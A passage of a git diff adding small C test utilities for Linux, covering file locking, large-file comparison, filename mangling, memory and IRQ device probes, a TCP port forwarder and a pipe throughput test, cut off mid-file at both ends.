+#define IRQ 4
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <unistd.h>
+
+
+#define IRQ_SET 1
+#define IRQ_RELEASE 2
+#define IRQ_INFO 3
+
+struct irq_struct
+{
+  int irq;
+  int process_id;
+  int signal_num;
+  struct file *file;
+  unsigned char *irq_buffer;
+  int buf_start;
+  int buf_count;
+  int buf_size;
+}
+ setting;
+
+
+int fioctl(FILE *f,int cmd,void *arg)
+{
+return(ioctl(fileno(f),cmd,arg));
+}
+
+
+void handler(int irq)
+{
+printf("got signal %d\n",irq);
+}
+
+
+main()
+{
+int fd = open("/dev/irq",O_RDWR);
+char buf[10];
+int i;
+char c = IRQ;
+for (i=0;i<10;i++)
+  buf[i] = IRQ;
+
+setting.irq = IRQ;
+setting.process_id = getpid();
+setting.signal_num = SIGSEGV;
+setting.buf_size = 100;
+
+signal(SIGSEGV,handler);
+
+printf("ioctl gave %d\n",ioctl(fd,IRQ_SET,&setting));
+
+printf("irq %d\npid %d\nsig %d\ncount %d\nsize %d\n",
+       setting.irq,
+       setting.process_id,
+       setting.signal_num,
+       setting.buf_count,
+       setting.buf_size);
+
+c = IRQ;
+printf("write gave %d\n",write(fd,buf,10));
+
+printf("info gave %d\n",ioctl(fd,IRQ_INFO,&setting));
+printf("irq %d\npid %d\nsig %d\ncount %d\nsize %d\n",
+       setting.irq,
+       setting.process_id,
+       setting.signal_num,
+       setting.buf_count,
+       setting.buf_size);
+
+printf("read gave %d\n",read(fd,&c,1));
+printf("c is %d\n",(int)c);
+printf("info gave %d\n",ioctl(fd,IRQ_INFO,&setting));
+printf("irq %d\npid %d\nsig %d\ncount %d\nsize %d\n",
+       setting.irq,
+       setting.process_id,
+       setting.signal_num,
+       setting.buf_count,
+       setting.buf_size);
+while (1);
+}
+
+
+
+
diff --git a/kgprof.c b/kgprof.c
new file mode 100644 (file)
index 0000000..a286b2a
--- /dev/null
+++ b/kgprof.c
@@ -0,0 +1,95 @@
+#include <stdio.h>
+#include <string.h>
+
+#define MAX_MAPSIZE 10000
+
+static struct {
+       unsigned addr;
+       char *name;
+} sysmap[MAX_MAPSIZE];
+
+static int mapsize;
+
+static void load_map(void)
+{
+       FILE *f;
+       unsigned addr;
+       char dum[100];
+       char fn[100];
+
+       f = fopen("/boot/System.map", "r");
+       while (!feof(f) && mapsize < MAX_MAPSIZE) {
+               if (fscanf(f,"%x %s %s", &addr, dum, fn) == 3) {
+                       sysmap[mapsize].addr = addr;
+                       sysmap[mapsize].name = strdup(fn);
+                       mapsize++;
+               }
+       }
+       fclose(f);
+}
+
+static char *find_map(unsigned addr)
+{
+       int low, high, i;
+
+       low = 0;
+       high = mapsize-1;
+
+       while (low != high) {
+               i = (low+high)/2;
+               if (addr >= sysmap[i].addr) {
+                       low = i;
+               }
+               if (addr < sysmap[i].addr) {
+                       high = i-1;
+               } 
+               if (addr >= sysmap[i+1].addr) {
+                       low = i+1;
+               }
+               if (addr < sysmap[i+1].addr) {
+                       high = i;
+               }
+       }
+
+       return sysmap[i].name;
+}
+
+static void disp_one(char *line)
+{
+       unsigned addr[6];
+       unsigned t, count;
+       char fname[30];
+       int i;
+
+       sscanf(line,"%s %u %u %x %x %x %x %x %x",
+              fname, &count, &t, 
+              &addr[0], &addr[1], &addr[2], 
+              &addr[3], &addr[4], &addr[5]);
+
+       printf("%s %u %u:", fname, count, t);
+       for (i=0;i<6;i++) {
+               printf(" %s", find_map(addr[i]));
+       }
+       printf("\n");
+}
+
+int main()
+{
+       char line[1000];
+       int enabled = 0;
+       FILE *f;
+
+       load_map();
+
+       printf("loaded map\n");
+
+       f = fopen("/proc/cpuinfo", "r");
+
+       while (fgets(line, sizeof(line)-1, f)) {
+               if (enabled) {
+                       disp_one(line);
+               }
+               if (strncmp(line,"kgprof", 6) == 0) enabled = 1;
+       }
+
+}
diff --git a/lcmp.c b/lcmp.c
new file mode 100644 (file)
index 0000000..a889146
--- /dev/null
+++ b/lcmp.c
@@ -0,0 +1,69 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <time.h>
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <stdlib.h>
+#include <errno.h>
+
+int main(int argc, char *argv[])
+{
+       int fd1, fd2;
+       char *buf1, *buf2;
+       int bufsize = 1024*1024;
+       off_t offset;
+
+       if (argc < 3) {
+               printf("usage: lcmp <file1> <file2>\n");
+               exit(1);
+       }
+
+       fd1 = open(argv[1], O_RDONLY);
+       fd2 = open(argv[2], O_RDONLY);
+
+       buf1 = malloc(bufsize);
+       buf2 = malloc(bufsize);
+
+       offset = 0;
+
+       while (1) {
+               int n1, n2, n, i;
+
+               printf("%.0f\r", (double)offset);
+               fflush(stdout);
+
+               n1 = read(fd1, buf1, bufsize);
+               n2 = read(fd2, buf2, bufsize);
+
+               n = n1;
+               if (n2 < n1) n = n2;
+
+               if (memcmp(buf1, buf2, n)) {
+                       for (i=0;i<n;i++)
+                               if (buf1[i] != buf2[i]) {
+                                       printf("%s and %s differ at offset %.0f\n",
+                                              argv[1], argv[2], (double)(offset+i));
+                                       exit(1);
+                               }
+               }
+
+               if (n1 < n2) {
+                       printf("EOF on %s\n", argv[1]);
+                       exit(1);
+               }
+               if (n2 < n1) {
+                       printf("EOF on %s\n", argv[2]);
+                       exit(1);
+               }
+
+               offset += n;
+
+               if (n == 0) break;
+       }
+
+       free(buf1);
+       free(buf2);
+       close(fd1);
+       close(fd2);
+       return 0;
+}
diff --git a/lls.c b/lls.c
new file mode 100644 (file)
index 0000000..978ace9
--- /dev/null
+++ b/lls.c
@@ -0,0 +1,57 @@
+#include <stdio.h>
+#include <time.h>
+#include <sys/stat.h>
+#include <stdlib.h>
+#include <errno.h>
+
+static char *timestring(time_t t)
+{
+       static char TimeBuf[200];
+       struct tm *tm = localtime(&t);
+
+       strftime(TimeBuf,sizeof(TimeBuf)-1,"%Y/%m/%d %T",tm);
+
+       if (TimeBuf[strlen(TimeBuf)-1] == '\n') {
+               TimeBuf[strlen(TimeBuf)-1] = 0;
+       }
+
+       return(TimeBuf);
+}
+
+static void ls_one(char *fname)
+{
+       char perms[11] = "----------";
+       char *perm_map = "rwxrwxrwx";
+       struct stat st;
+       int i;
+
+       if (lstat(fname, &st) != 0) {
+               perror(fname);
+               return;
+       }
+
+       for (i=0;i<9;i++) {
+               if (st.st_mode & (1<<i)) perms[9-i] = perm_map[8-i];
+       }
+       if (S_ISLNK(st.st_mode)) perms[0] = 'l';
+       if (S_ISDIR(st.st_mode)) perms[0] = 'd';
+       if (S_ISBLK(st.st_mode)) perms[0] = 'b';
+       if (S_ISCHR(st.st_mode)) perms[0] = 'c';
+       if (S_ISSOCK(st.st_mode)) perms[0] = 's';
+       if (S_ISFIFO(st.st_mode)) perms[0] = 'p';
+
+
+       printf("%s %11.0f %s %s\n", 
+              perms, 
+              (double)st.st_size, timestring(st.st_mtime), fname);
+}
+
+int main(int argc, char *argv[])
+{
+       int i;
+
+       for (i=1; i<argc;i++) {
+               ls_one(argv[i]);
+       }
+       return 0;
+}
diff --git a/lock_inherit.c b/lock_inherit.c
new file mode 100644 (file)
index 0000000..382dd52
--- /dev/null
@@ -0,0 +1,53 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+
+
+#define LOCK_SET 1
+#define LOCK_CLEAR 0
+
+/* a byte range locking function - return 0 on success
+   this functions locks/unlocks 1 byte at the specified offset */
+static int tdb_brlock(int fd, off_t offset, int set, int rw_type, int lck_type)
+{
+       struct flock fl;
+
+       fl.l_type = set==LOCK_SET?rw_type:F_UNLCK;
+       fl.l_whence = SEEK_SET;
+       fl.l_start = offset;
+       fl.l_len = 1;
+       fl.l_pid = 0;
+
+       if (fcntl(fd, lck_type, &fl) != 0) {
+               return -1;
+       }
+       return 0;
+}
+
+
+main()
+{
+       int fd = open("lcktest.dat", O_RDWR|O_CREAT|O_TRUNC, 0600);
+
+       tdb_brlock(fd, 0, LOCK_SET, F_RDLCK, F_SETLKW);
+
+       if (fork()) {
+               /* parent */
+               close(fd);
+
+               fd = open("lcktest.dat", O_RDWR, 0600);
+
+               if (tdb_brlock(fd, 0, LOCK_SET, F_WRLCK, F_SETLKW) == 0) {
+                       printf("child doesn't hold lock\n");
+               } else {
+                       printf("child does hold lock\n");
+               }
+       } 
+       sleep(2);
+}
diff --git a/locktest.c b/locktest.c
new file mode 100644 (file)
index 0000000..cb1e313
--- /dev/null
@@ -0,0 +1,183 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/fcntl.h>
+#include <sys/stat.h>
+#include <signal.h>
+#include <errno.h>
+#include <sys/socket.h>
+#include <sys/wait.h>
+
+#define FNAME "locktest.dat"
+
+#ifdef GLIBC_HACK_FCNTL64
+/* this is a gross hack. 64 bit locking is completely screwed up on
+   i386 Linux in glibc 2.1.95 (which ships with RedHat 7.0). This hack
+   "fixes" the problem with the current 2.4.0test kernels 
+*/
+
+#define fcntl fcntl64
+#undef F_SETLKW 
+#undef F_SETLK 
+#define F_SETLK 13
+#define F_SETLKW 14
+
+#include <asm/unistd.h>
+int fcntl64(int fd, int cmd, struct flock * lock)
+{
+       return syscall(__NR_fcntl64, fd, cmd, lock);
+}
+#endif /* HACK_FCNTL64 */
+
+
+static pid_t child_pid;
+
+typedef unsigned long long ull;
+
+static int brlock(int fd, off_t offset, size_t len, int set, int rw_type, int lck_type)
+{
+       struct flock fl;
+
+       fl.l_type = set?rw_type:F_UNLCK;
+       fl.l_whence = SEEK_SET;
+       fl.l_start = offset;
+       fl.l_len = len;
+       fl.l_pid = 0;
+
+       if (fcntl(fd, lck_type, &fl) != 0) {
+               return -1;
+       }
+       return 0;
+}
+
+static void child_main(int pfd)
+{
+       int fd;
+       off_t ofs;
+       size_t len;
+       int ret;
+       char line[1000];
+       struct stat st;
+
+       while ((fd = open(FNAME,O_RDWR)) == -1) sleep(1);
+
+       while (1) {
+               read(pfd, &ofs, sizeof(ofs));
+               read(pfd, &len, sizeof(len));
+
+               /* check that we can't lock that range */
+               if (brlock(fd, ofs, len, 1, F_WRLCK, F_SETLK) == 0) {
+                       printf("ERROR: able to lock range %lld:%lld\n", (ull)ofs, (ull)len);
+                       goto failed;
+               }
+               
+               /* but we should be able to lock just before and after it */
+               if (brlock(fd, ofs+len, 1, 1, F_WRLCK, F_SETLK) == -1) {
+                       printf("ERROR: unable to lock range %lld:%lld\n", (ull)ofs+len, (ull)1);
+                       goto failed;
+               }
+               if (brlock(fd, ofs-1, 1, 1, F_WRLCK, F_SETLK) == -1) {
+                       printf("ERROR: unable to lock range %lld:%lld\n", (ull)ofs-1, (ull)1);
+                       goto failed;
+               }
+
+               /* and remove them again */
+               if (brlock(fd, ofs+len, 1, 0, F_WRLCK, F_SETLK) == -1) {
+                       printf("ERROR: unable to unlock range %lld:%lld\n", (ull)ofs+len, (ull)1);
+                       goto failed;
+               }
+               if (brlock(fd, ofs-1, 1, 0, F_WRLCK, F_SETLK) == -1) {
+                       printf("ERROR: unable to unlock range %lld:%lld\n", (ull)ofs-1, (ull)1);
+                       goto failed;
+               }
+               
+               /* seems OK */
+               ret = 0;
+               write(pfd, &ret, sizeof(ret));
+       }
+
+ failed:
+
+       fstat(fd, &st);
+       snprintf(line, sizeof(line), "egrep POSIX.*%u /proc/locks", (int)st.st_ino);
+       system(line);
+
+       ret = -1;
+       write(pfd, &ret, sizeof(ret));
+       sleep(10);
+       exit(1);
+}
+
+static void parent_main(int pfd)
+{
+       int fd = open(FNAME,O_RDWR|O_CREAT|O_TRUNC, 0600);
+       off_t ofs;
+       size_t len;
+       int ret, i;
+       struct {
+               off_t ofs;
+               size_t len;
+       } tests[] = {
+               {7, 1},
+               {1<<30, 1<<25},
+#if (_FILE_OFFSET_BITS == 64)
+               {1LL<<40, 1<<10},
+               {1LL<<61, 1<<30},
+               {(1LL<<62) - 10, 1},
+#endif
+       };
+
+
+       if (fd == -1) {
+               perror(FNAME);
+               goto failed;
+       }
+
+       for (i=0;i<sizeof(tests)/sizeof(tests[0]); i++) {
+               ofs = tests[i].ofs;
+               len = tests[i].len;
+
+               if (brlock(fd, ofs, len, 1, F_WRLCK, F_SETLK) == -1) {
+                       printf("lock 1 failed\n");
+                       goto failed;
+               }
+
+               write(pfd, &ofs, sizeof(ofs));
+               write(pfd, &len, sizeof(len));
+
+               read(pfd, &ret, sizeof(ret));
+               if (ret != 0) {
+                       printf("child reported failure\n");
+                       goto failed;
+               }
+
+               printf("test %d OK\n", i);
+       }
+       printf("all tests OK\n");
+       kill(child_pid, SIGKILL);
+       waitpid(child_pid, NULL, 0);
+       return;
+
+ failed:
+       kill(child_pid, SIGKILL);
+       waitpid(child_pid, NULL, 0);
+       exit(1);
+}
+
+
+int main(int argc, char *argv[])
+{
+       int pfd[2];
+
+       socketpair(AF_UNIX, SOCK_STREAM, 0, pfd);
+
+       if ((child_pid=fork()) == 0) {
+               close(pfd[0]);
+               child_main(pfd[1]);
+       } else {
+               close(pfd[1]);
+               parent_main(pfd[0]);
+       }
+
+       return 0;
+}
diff --git a/mangle.c b/mangle.c
new file mode 100644 (file)
index 0000000..4613033
--- /dev/null
+++ b/mangle.c
@@ -0,0 +1,195 @@
+#include <stdio.h>
+
+typedef int BOOL;
+typedef char pstring[1024];
+#define True 1
+#define False 0
+#define DEBUG(l,x)
+
+/****************************************************************************
+line strncpy but always null terminates. Make sure there is room!
+****************************************************************************/
+char *StrnCpy(char *dest,char *src,int n)
+{
+  char *d = dest;
+  while (n-- && (*d++ = *src++)) ;
+  *d = 0;
+  return(dest);
+}
+
+/*******************************************************************
+  convert a string to upper case
+********************************************************************/
+void strupper(char *s)
+{
+  while (*s)
+    {
+#ifdef KANJI
+       if (is_shift_jis (*s)) {
+           s += 2;
+       } else if (is_kana (*s)) {
+           s++;
+       } else {
+           if (islower(*s))
+               *s = toupper(*s);
+           s++;
+       }
+#else
+      if (islower(*s))
+       *s = toupper(*s);
+      s++;
+#endif
+    }
+}
+
+
+static char *map_filename(char *s, /* This is null terminated */
+                         char *pattern, /* This isn't. */
+                         int len) /* This is the length of pattern. */
+{
+  static pstring matching_bit;  /* The bit of the string which matches */
+                                /* a * in pattern if indeed there is a * */
+  char *sp;                     /* Pointer into s. */
+  char *pp;                     /* Pointer into p. */
+  char *match_start;            /* Where the matching bit starts. */
+  pstring pat;
+
+  StrnCpy(pat, pattern, len);   /* Get pattern into a proper string! */
+  strcpy(matching_bit,"");      /* Match but no star gets this. */
+  pp = pat;                     /* Initialise the pointers. */
+  sp = s;
+  if ((len == 1) && (*pattern == '*')) {
+    return NULL;                /* Impossible, too ambiguous for */
+                                /* words! */
+  }
+
+  while ((*sp)                  /* Not the end of the string. */
+         && (*pp)               /* Not the end of the pattern. */
+         && (*sp == *pp)        /* The two match. */
+         && (*pp != '*')) {     /* No wildcard. */
+    sp++;                       /* Keep looking. */
+    pp++;
+  }
+  if (!*sp && !*pp)             /* End of pattern. */
+    return matching_bit;        /* Simple match.  Return empty string. */
+  if (*pp == '*') {
+    pp++;                       /* Always interrested in the chacter */
+                                /* after the '*' */
+    if (!*pp) {                 /* It is at the end of the pattern. */
+      StrnCpy(matching_bit, s, sp-s);
+      return matching_bit;
+    } else {
+      /* The next character in pattern must match a character further */
+      /* along s than sp so look for that character. */
+      match_start = sp;
+      while ((*sp)              /* Not the end of s. */
+             && (*sp != *pp))   /* Not the same  */
+        sp++;                   /* Keep looking. */
+      if (!*sp) {               /* Got to the end without a match. */
+        return NULL;
+      } else {                  /* Still hope for a match. */
+        /* Now sp should point to a matching character. */
+        StrnCpy(matching_bit, match_start, sp-match_start);
+        /* Back to needing a stright match again. */
+        while ((*sp)            /* Not the end of the string. */
+               && (*pp)         /* Not the end of the pattern. */
+               && (*sp == *pp)) { /* The two match. */
+          sp++;                 /* Keep looking. */
+          pp++;
+        }
+        if (!*sp && !*pp)       /* Both at end so it matched */
+          return matching_bit;
+        else
+          return NULL;
+      }
+    }
+  }
+  return NULL;                  /* No match. */
+}
+
+
+static void do_fwd_mangled_map(char *s, char *MangledMap)
+{
+  /* MangledMap is a series of name pairs in () separated by spaces.
+   * If s matches the first of the pair then the name given is the
+   * second of the pair.  A * means any number of any character and if
+   * present in the second of the pair as well as the first the
+   * matching part of the first string takes the place of the * in the
+   * second.
+   *
+   * I wanted this so that we could have RCS files which can be used
+   * by UNIX and DOS programs.  My mapping string is (RCS rcs) which
+   * converts the UNIX RCS file subdirectory to lowercase thus
+   * preventing mangling.
+   */
+  char *start=MangledMap;       /* Use this to search for mappings. */
+  char *end;                    /* Used to find the end of strings. */
+  char *match_string;
+  pstring new_string;           /* Make up the result here. */
+  char *np;                     /* Points into new_string. */
+
+  DEBUG(5,("Mangled Mapping '%s' map '%s'\n", s, MangledMap));
+  while (*start) {
+    while ((*start) && (*start != '('))
+      start++;
+    start++;                    /* Skip the ( */
+    if (!*start)
+      continue;                 /* Always check for the end. */
+    end = start;                /* Search for the ' ' or a ')' */
+    DEBUG(5,("Start of first in pair '%s'\n", start));
+    while ((*end) && !((*end == ' ') || (*end == ')')))
+      end++;
+    if (!*end) {
+      start = end;
+      continue;                 /* Always check for the end. */
+    }
+    DEBUG(5,("End of first in pair '%s'\n", end));
+    if ((match_string = map_filename(s, start, end-start))) {
+      DEBUG(5,("Found a match\n"));
+      /* Found a match. */
+      start = end+1;            /* Point to start of what it is to become. */
+      DEBUG(5,("Start of second in pair '%s'\n", start));
+      end = start;
+      np = new_string;
+      while ((*end)             /* Not the end of string. */
+             && (*end != ')')   /* Not the end of the pattern. */
+             && (*end != '*'))  /* Not a wildcard. */
+        *np++ = *end++;
+      if (!*end) {
+        start = end;
+        continue;               /* Always check for the end. */
+      }
+      if (*end == '*') {
+        strcpy(np, match_string);
+        np += strlen(match_string);
+        end++;                  /* Skip the '*' */
+        while ((*end)             /* Not the end of string. */
+               && (*end != ')')   /* Not the end of the pattern. */
+               && (*end != '*'))  /* Not a wildcard. */
+          *np++ = *end++;
+      }
+      if (!*end) {
+        start = end;
+        continue;               /* Always check for the end. */
+      }
+      *np++ = '\0';             /* NULL terminate it. */
+      DEBUG(5,("End of second in pair '%s'\n", end));
+      strcpy(s, new_string);    /* Substitute with the new name. */
+      DEBUG(5,("s is now '%s'\n", s));
+    }
+    start = end;              /* Skip a bit which cannot be wanted */
+    /* anymore. */
+    start++;
+  }
+}
+
+
+main(int argc,char *argv[])
+{
+  char name[100];
+
+  strcpy(name,argv[2]);
+  
+  do_fwd_mangled_map(name,argv[1]);
+  printf("name=%s\n",name);
+}
diff --git a/memcopy.c b/memcopy.c
new file mode 100644 (file)
index 0000000..19088b1
--- /dev/null
+++ b/memcopy.c
@@ -0,0 +1,35 @@
+/*
+** Assumptions:
+**
+** + dst and src are 8-byte aligned.
+** + Copying at least 8 bytes of data
+*/
+
+void
+dlmemcpy(char *dst, char *src, int nbytes)
+       {
+
+       __asm__("
+       pushal
+       movl %0,%%edi
+       movl %1,%%esi
+       movl %2,%%eax
+       movl %%eax,%%ecx
+       and  $7, %%eax
+       shr  $3, %%ecx
+.align 32
+1:
+       fldl  (%%esi)
+       fstpl (%%edi)
+       add    $8,%%esi
+       add    $8,%%edi
+       dec    %%ecx
+       jne    1b
+2:
+       movl %%eax,%%ecx
+       rep
+       movsb
+       popal
+         " :: "g"(dst), "g"(src), "g"(nbytes));
+
+       }
diff --git a/memdump.c b/memdump.c
new file mode 100644 (file)
index 0000000..10d7df0
--- /dev/null
+++ b/memdump.c
@@ -0,0 +1,67 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <fcntl.h>
+
+#define LEN 0x1000
+#define ADDR 0x0
+#define SIZE 8*1024
+
+int main()
+{
+       int fdpair[2];
+       int fd, i=0;
+       int mapfd, status;
+       char *map;
+       char buf[LEN];
+       char lastbuf[LEN];
+
+       fd = open("mem.dat", O_WRONLY|O_CREAT|O_TRUNC, 0600);
+       if (fd == -1) {
+               perror("open");
+               exit(1);
+       }
+
+       mapfd = open("/dev/zero", O_RDWR);
+       if (mapfd == -1) {
+               perror("open");
+               exit(1);
+       }
+
+       map = mmap(0, SIZE*LEN, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FILE,
+                  mapfd, 0);
+
+       while (i < SIZE && pipe(fdpair) == 0) {
+               if (fork()) {
+                       memset(buf,'Z', LEN);
+                       if (read(fdpair[0], buf, LEN) != LEN) {
+                               perror("read");
+                               exit(1);
+                       }
+                       if (memcmp(lastbuf,buf,LEN)) {
+                               if (write(fd,buf,LEN) != LEN) {
+                                       perror("write");
+                                       exit(1);
+                               } else {
+                                       printf(".");
+                                       fflush(stdout);
+                               }
+                       }
+                       memcpy(lastbuf, buf, LEN);
+                       waitpid(-1, &status, 0);
+               } else {
+                       if (write(fdpair[1],ADDR,LEN) != LEN) {
+                               perror("write");
+                               exit(1);
+                       }
+                       _exit(0);
+               }
+               close(fdpair[0]);
+               close(fdpair[1]);
+
+               map[i*LEN] = i++;
+       }
+
+       return 0;
+}
diff --git a/memtest.c b/memtest.c
new file mode 100644 (file)
index 0000000..edf7df7
--- /dev/null
+++ b/memtest.c
@@ -0,0 +1,41 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+int main(int argc, char *argv[])
+{
+       int *buf;
+       int size;
+       int i, count;
+
+       if (argc < 2) {
+               printf("memtest <size>\n");
+               exit(1);
+       }
+
+       size = atoi(argv[1]);
+
+       buf = (int *)malloc(size);
+       
+       size /= sizeof(*buf);
+
+       count = 0;
+
+       for (i=0;i<size;i++)
+               buf[i] = i;
+
+       while (count < (1<<30)) {
+               i = random() % size;
+
+               if (buf[i] != i)
+                       printf("\nbuf[%d]=%d\n", i, buf[i]);
+
+               count++;
+               if (count % 100000 == 0) 
+                       printf("%d\r", count);
+               fflush(stdout);
+
+               buf[i] = i;
+       }
+
+       return 0;
+}
diff --git a/netpipe.c b/netpipe.c
new file mode 100644 (file)
index 0000000..74c2c2b
--- /dev/null
+++ b/netpipe.c
@@ -0,0 +1,176 @@
+#include <stdio.h>
+#include <strings.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <netinet/in.h>
+#include <netdb.h>
+
+#include <signal.h>
+
+#include <errno.h>
+
+
+int FROM = 6005;
+int TO = 6000;
+char host_name[100];
+struct hostent *hp;
+struct sockaddr_in sock_in;
+struct sockaddr_in sock_out;
+int s;
+struct sockaddr in_addr;
+int in_addrlen;
+int in_fd,out_fd;
+#define BUFSIZE 4096
+char buffer[BUFSIZE];
+
+void transfer(int from,int to)
+{
+  int num_ready,num_read,ret;
+  ioctl(from, FIONREAD, &num_ready);
+
+
+  num_read = read(from,buffer,num_ready<BUFSIZE?num_ready:BUFSIZE);
+  
+  if (num_read == 0)
+    {
+      fprintf(stderr,"read 0 bytes. exiting.\n");
+      exit(0);
+    }
+
+  ret = write(to,buffer,num_read);
+
+  if (ret < 0)
+       perror("(child) write");
+
+  fprintf(stderr,"transfer(%d,%d): %d:%d\n",from,to,num_ready,ret);
+}
+
+
+int main(int argc,char *argv[])
+{
+
+  if (argc < 3)
+       {
+         printf("Usage: netpipe <from_port> <to_port>\n");
+         return 0;
+       }
+
+  FROM = atoi(argv[1]);
+  TO = atoi(argv[2]);
+  
+  /* get my host name */
+  if (gethostname(host_name, sizeof(host_name)) == -1) 
+    {
+      perror("gethostname");
+      return -1;
+    } 
+
+  /* get host info */
+  if ((hp = gethostbyname(host_name)) == 0) 
+    {
+      /* Probly doesn't run TCP/IP. oh well. */
+      fprintf(stderr, "Gethostbyname: Unknown host.\n");
+      return -1;
+    }
+
+  memset(&sock_in, 0, sizeof(sock_in));
+  memcpy(&sock_in.sin_addr, hp->h_addr, hp->h_length);
+  sock_in.sin_port = htons( FROM );
+  sock_in.sin_family = hp->h_addrtype;
+  sock_in.sin_addr.s_addr = INADDR_ANY;
+  s = socket(hp->h_addrtype, SOCK_STREAM, 0);
+  if (s == -1) 
+    {
+      perror("socket");
+      return -1;
+    }
+
+  /* now we've got a socket - we need to bind it */
+  while (bind(s, (struct sockaddr * ) &sock_in,sizeof(sock_in)) < 0) 
+    {
+      perror("bind");
+      close(s);
+      return -1;
+    }
+
+  /* ready to listen */
+  if (listen(s, 5) == -1) 
+    {
+      perror("listen");
+      close(s);
+      return -1;
+    }
+
+
+  /* now accept incoming connections - forking a new process
+     for each incoming connection */
+  fprintf(stderr,"waiting for a connection\n");
+  while (in_fd = accept(s,&in_addr,&in_addrlen))
+    {
+      if (fork()==0)
+       {
+         fprintf(stderr,"child is starting in_fd=%d\n",in_fd);
+         
+         /* create a socket to write to */
+         out_fd = socket(hp->h_addrtype, SOCK_STREAM, 0);
+         if (out_fd == -1) 
+           {
+             perror("(child) socket");
+             return -1;
+           }
+         
+         /* and connect it to the destination */
+         sock_out = sock_in;
+         sock_out.sin_port = htons(TO);
+         if (connect(out_fd,(struct sockaddr *)&sock_out,sizeof(sock_out))<0)
+           {
+             perror("(child) connect");
+             close(out_fd);
+             return -1;
+           }
+
+         /* now just do some reading and writing */
+         fprintf(stderr,"(child) entering select loop\n");
+         while (1)
+           {
+             fd_set fds;
+             int select_ret;
+
+             FD_ZERO(&fds);
+             FD_SET(in_fd, &fds);
+             FD_SET(out_fd, &fds);
+
+             if ((select_ret = select(255,&fds,NULL,NULL,NULL)) <= 0)
+               {
+                 perror("(child) select");
+                 close(in_fd);
+                 close(out_fd);
+                 return -1;
+               }
+
+             if (FD_ISSET(in_fd, &fds)) 
+               transfer(in_fd,out_fd);
+
+             if (FD_ISSET(out_fd, &fds)) 
+               transfer(out_fd,in_fd);
+                        
+           }
+
+       }
+    }
+
+  fprintf(stderr,"in_fd=%d. exiting.\n",in_fd);
+  close(s);
+}
+
+
+
+
+
+
+
+
+
diff --git a/nettest.c b/nettest.c
new file mode 100644 (file)
index 0000000..630cfac
--- /dev/null
+++ b/nettest.c
@@ -0,0 +1,162 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <stdlib.h>
+
+static int am_sender;
+
+#define rprintf fprintf
+#define FERROR stderr
+#define exit_cleanup(x) exit(1)
+#define do_fork fork
+#define STDIN_FILENO 0
+#define STDOUT_FILENO 1
+
+#define TOTAL_SIZE (10*1024*1024)
+
+static int write_loop(int fd, char *buf, int size)
+{
+       int total=0;
+
+       while (size) {
+               int n = write(fd, buf, size);
+               if (n <= 0) break;
+               size -= n;
+               buf += n;
+               total += n;
+       }
+       return total;
+}
+
+int piped_child(char *command,int *f_in,int *f_out)
+{
+  int pid;
+  int to_child_pipe[2];
+  int from_child_pipe[2];
+
+  if (pipe(to_child_pipe) < 0 ||
+      pipe(from_child_pipe) < 0) {
+    rprintf(FERROR,"pipe: %s\n",strerror(errno));
+    exit_cleanup(RERR_IPC);
+  }
+
+
+  pid = do_fork();
+  if (pid < 0) {
+    rprintf(FERROR,"fork: %s\n",strerror(errno));
+    exit_cleanup(RERR_IPC);
+  }
+
+  if (pid == 0)
+    {
+      if (dup2(to_child_pipe[0], STDIN_FILENO) < 0 ||
+         close(to_child_pipe[1]) < 0 ||
+         close(from_child_pipe[0]) < 0 ||
+         dup2(from_child_pipe[1], STDOUT_FILENO) < 0) {
+       rprintf(FERROR,"Failed to dup/close : %s\n",strerror(errno));
+       exit_cleanup(RERR_IPC);
+      }
+      if (to_child_pipe[0] != STDIN_FILENO) close(to_child_pipe[0]);
+      if (from_child_pipe[1] != STDOUT_FILENO) close(from_child_pipe[1]);
+      system(command);
+      exit_cleanup(RERR_IPC);
+    }
+
+  if (close(from_child_pipe[1]) < 0 ||
+      close(to_child_pipe[0]) < 0) {
+    rprintf(FERROR,"Failed to close : %s\n",strerror(errno));   
+    exit_cleanup(RERR_IPC);
+  }
+
+  *f_in = from_child_pipe[0];
+  *f_out = to_child_pipe[1];
+
+  return pid;
+}
+
+static void sender(int fin, int fout)
+{
+       int n;
+       char buf[1024];
+       int total = 0;
+
+       while (total < TOTAL_SIZE) {
+               n = read(fin, buf, sizeof(buf));
+               if (n <= 0) {
+                       fprintf(stderr,"write error in sender at %d\n", total);
+                       break;
+               }
+               write_loop(fout, buf, n);
+               total += n;
+               fprintf(stderr, "-");
+       }
+       fprintf(stderr, "sender done\n");
+}
+
+static void generator(int fd)
+{
+       int n;
+       char buf[1024];
+       int total=0;
+
+       while (total < TOTAL_SIZE) {
+               n = 1 + random() % (sizeof(buf)-1);
+               n = write_loop(fd, buf, n);
+               if (n <= 0) {
+                       fprintf(stderr,"write error in generator at %d\n", total);
+                       break;
+               }
+               total += n;
+               fprintf(stderr, "*");
+       }
+       fprintf(stderr, "generator done\n");
+}
+
+static void receiver(int fd)
+{
+       ssize_t n;
+       ssize_t total=0;
+       char buf[1024];
+
+       while (total < TOTAL_SIZE) {
+               n = read(fd, buf, sizeof(buf));
+               if (n <= 0) {
+                       fprintf(stderr,"read error in receiver\n");
+                       break;
+               }
+               total += n;
+               fprintf(stderr, "+");
+       }
+       fprintf(stderr, "receiver done\n");
+}
+
+int main(int argc, char *argv[])
+{
+       int c, f_in, f_out;
+
+       while ((c = getopt(argc, argv, "s")) != -1) {
+               switch (c){
+               case 's':
+                       am_sender = 1;
+                       break;
+               }
+       }
+       
+       if (am_sender) {
+               sender(0, 1);
+       } else {
+               char *command = argv[1];
+               printf("running %s\n", command);
+               piped_child(command, &f_in, &f_out);
+               if (fork()) {
